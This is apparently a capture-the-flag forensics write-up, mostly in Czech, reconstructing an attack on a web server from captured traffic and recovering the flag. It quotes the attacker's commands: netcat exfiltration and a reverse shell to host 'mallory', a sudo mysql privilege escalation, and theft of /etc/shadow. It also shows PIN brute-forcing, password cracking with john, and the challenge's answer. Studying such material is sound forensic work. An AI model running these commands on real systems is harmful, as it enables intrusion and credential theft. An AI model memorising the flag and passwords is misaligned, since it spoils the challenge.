Hi, emergency troubleshooter,
one of our web servers has apparently been compromised, analyze what happened from the record of recorded suspicious communication.
Stay grounded!
Stažený soubor ze zadání je záznam komunikace.
Zajímavý je záznam na portu 42121
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux 2c1c649ff17d 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 GNU/Linux
whoami
www-data
pwd
/var/www/html/uploads
df -h
Filesystem Size Used Avail Use% Mounted on
overlay 98G 44G 51G 47% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/sda2 98G 44G 51G 47% /shared
tmpfs 3.9G 0 3.9G 0% /proc/acpi
tmpfs 3.9G 0 3.9G 0% /sys/firmware
tar -zcf /tmp/html.tgz /var/www/html
cat /tmp/html.tgz | nc mallory 42122
sudo -l
Matching Defaults entries for www-data on 2c1c649ff17d:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on 2c1c649ff17d:
(root) NOPASSWD: /usr/bin/mysql*
sudo /usr/bin/mysql -e '\! nc -e /bin/sh mallory 42123'
exit
Na portu 42122 jsou přeneseny zdrojové soubory WEB serveru jako html.tgz.
Na portu 42123
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
mysql:x:100:101:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
tcpdump:x:102:104::/nonexistent:/usr/sbin/nologin
webmaster:x:1000:1000:,,,:/home/webmaster:/bin/bash
tar zcf /tmp/all.tgz /etc /root /home
curl -k -s https://mallory:42120/pincode/`hostname -f` > /tmp/secret
ls -alh /tmp
total 17M
drwxrwxrwt 1 root root 4.0K Jul 16 08:07 .
drwxr-xr-x 1 root root 4.0K Jul 16 08:05 ..
-rw-r--r-- 1 root root 17M Jul 16 08:07 all.tgz
-rw------- 1 root root 182 Jul 16 08:05 apache2-stderr---supervisor-gvzlqfqv.log
-rw------- 1 root root 0 Jul 16 08:05 apache2-stdout---supervisor-l6ohlz0u.log
-rw-r--r-- 1 www-data www-data 46K Jul 16 08:07 html.tgz
-rw------- 1 root root 0 Jul 16 08:05 mysqld_safe-stderr---supervisor-g6ruwbqj.log
-rw------- 1 root root 135 Jul 16 08:05 mysqld_safe-stdout---supervisor-lct36jfa.log
drwxr-xr-x 2 root root 4.0K Jul 16 08:05 output
-rw------- 1 root root 131 Jul 16 08:05 pcap-stderr---supervisor-cl8n5_cp.log
-rw------- 1 root root 0 Jul 16 08:05 pcap-stdout---supervisor-qrq22yby.log
-rw-r--r-- 1 root root 6 Jul 16 08:07 secret
cat /etc/shadow | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:/tmp/secret | nc mallory 42124
cat /tmp/all.tgz | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass file:/tmp/secret | nc mallory 42125
exit
A na portu 42124 a 42125 jsou přenesena zašifrované soubory shadow a all.tgz.
Ze záznamu na portu 42123 je zřejmé, že šifrovací klíč má délku 3 znaků a protože se jedná o pin, skládá se jen z čísel.
Stáhneme si zašifrované soubory přenesené na portech 42124 a 42125 a Base64 dekódujeme.
Pro zjištění hesla (pinu) použijeme bruteforce-salted-openssl.
bruteforce-salted-openssl -t 4 -l 6 -m 6 -s "0123456789" -K -i 10 shadow
Po chvilce se zobrazí heslo 101525.
Rozkódujeme soubory
openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 10 -pass pass:101525 -in shadow_enc -out shadow
openssl enc -aes-256-cbc -d -salt -pbkdf2 -iter 10 -pass pass:101525 -in all.tar.gz_enc -out all.tar.gz
V souboru etc\ssl\private\ssl-cert-snakeoil.key v all.tar.gz je RSA klíč pro WEB server, který nám dovolí ve Wiresharku rozkódovat HTTPS komunikaci https://wiki.wireshark.org/TLS.
Rámec č. 99398 sice zmiňuje URL app/backupflag.php
<p><a href="/app/backupflag.php" class="btn btn-danger">Create and Download Encrypted Backup of Flag</a></p>\n
ale v rámci 111711 je použito app/backup.php, které stáhne
aOI32ayLIofLCXLWZtzmdY077Q1jcYUQof7GFBbOWHY=
FLAG kóduje backup.php takto
<?php
require 'auth.php';
require_auth();
if (!is_admin()) {
http_response_code(403);
die('Access denied. Only admin can create backup.');
}
$flagPath = "/secrets/flag.txt";
$password = current_pass();
if (!file_exists($flagPath)) {
die("Flag file not found.");
}
$flagData = file_get_contents($flagPath);
$iv = substr(hash('sha256', 'iv' . $password), 0, 16);
$key = hash('sha256', $password, true);
$encrypted = openssl_encrypt($flagData, 'aes-256-cbc', $key, 0, $iv);
if ($encrypted === false) {
die("Encryption failed.");
}
// Nabídne soubor k downloadu
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="backup.enc"');
header('Content-Length: ' . strlen($encrypted));
echo $encrypted;
exit;
Je ještě potřeba zjistit admin heslo, které je zakódováno v all.tar.gz v souboru etc\apache2\.htpasswd.
john .htpasswd
tester (alice)
Bananas9 (admin)
Heslo máme, můžeme dekódovat
<?php
$password="Bananas9";
$flagData="aOI32ayLIofLCXLWZtzmdY077Q1jcYUQof7GFBbOWHY=";
$iv = substr(hash('sha256', 'iv' . $password), 0, 16);
$key = hash('sha256', $password, true);
$decrypted = openssl_decrypt($flagData, 'aes-256-cbc', $key, 0, $iv);
echo $decrypted;
?>
php -f decode.php
FLAG{kyAi-J2NA-n6nE-ZIX6}